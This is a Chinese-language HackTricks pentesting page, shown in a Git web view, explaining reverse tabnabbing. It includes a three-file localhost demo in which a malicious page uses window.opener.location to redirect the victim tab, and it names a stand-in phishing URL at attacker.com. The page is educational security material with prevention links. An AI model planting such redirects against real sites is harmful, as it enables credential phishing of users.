hacktricks/src/pentesting-web/reverse-tab-nabbing.md

82 lines
3.7 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

{{#include ../banners/hacktricks-training.md}}
# 描述
在一个**攻击者**可以**控制**一个带有属性**`target="_blank" rel="opener"`**的**`<a`**标签的**`href`**参数的情况下,该标签将被受害者点击,**攻击者**将此**链接**指向一个他控制的网页(一个**恶意**网站)。然后,一旦**受害者点击**该链接并访问攻击者的网站,这个**恶意**网站将能够通过javascript对象**`window.opener`**来**控制****原始**页面。\
如果页面没有**`rel="opener"`但包含`target="_blank"`且也没有`rel="noopener"`**,它也可能是脆弱的。
滥用这种行为的常规方法是通过`window.opener.location = https://attacker.com/victim.html`来**更改原始网页的位置**,指向一个由攻击者控制的**看起来像原始网页**的网页,这样它可以**模仿**原始网站的**登录****表单**并向用户请求凭据。
然而,请注意,由于**攻击者现在可以控制原始网站的窗口对象**,他可以以其他方式滥用它来执行**更隐蔽的攻击**也许修改javascript事件以将信息外泄到他控制的服务器
# 概述
## 有返回链接
当未使用预防属性时,父页面和子页面之间的链接:
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png)
## 无返回链接
当使用预防属性时,父页面和子页面之间的链接:
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png)
## 示例 <a href="#examples" id="examples"></a>
在一个文件夹中创建以下页面并运行一个web服务器使用`python3 -m http.server`\
然后,**访问**`http://127.0.0.1:8000/`vulnerable.html**点击**链接并注意**原始**网站的**URL**是如何**变化**的。
```html:vulnerable.html
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
```
```html:malicious.html
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
```
```html:malicious_redir.html
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
```
## 可访问的属性 <a href="#accessible-properties" id="accessible-properties"></a>
在发生**跨源**访问的情况下(跨不同域的访问),恶意网站可以访问的由**opener** JavaScript对象引用所指的**window** JavaScript类实例的属性仅限于以下内容
- **`opener.closed`**:此属性用于确定窗口是否已关闭,返回布尔值。
- **`opener.frames`**此属性提供对当前窗口内所有iframe元素的访问。
- **`opener.length`**此属性返回当前窗口中存在的iframe元素的数量。
- **`opener.opener`**:可以通过此属性获取打开当前窗口的窗口的引用。
- **`opener.parent`**:此属性返回当前窗口的父窗口。
- **`opener.self`**:此属性提供对当前窗口本身的访问。
- **`opener.top`**:此属性返回最上层的浏览器窗口。
然而,在域名相同的情况下,恶意网站可以访问[**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript对象引用所暴露的所有属性。
# 预防
预防信息记录在[HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#tabnabbing)中。
## 参考
- [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)
{{#include ../banners/hacktricks-training.md}}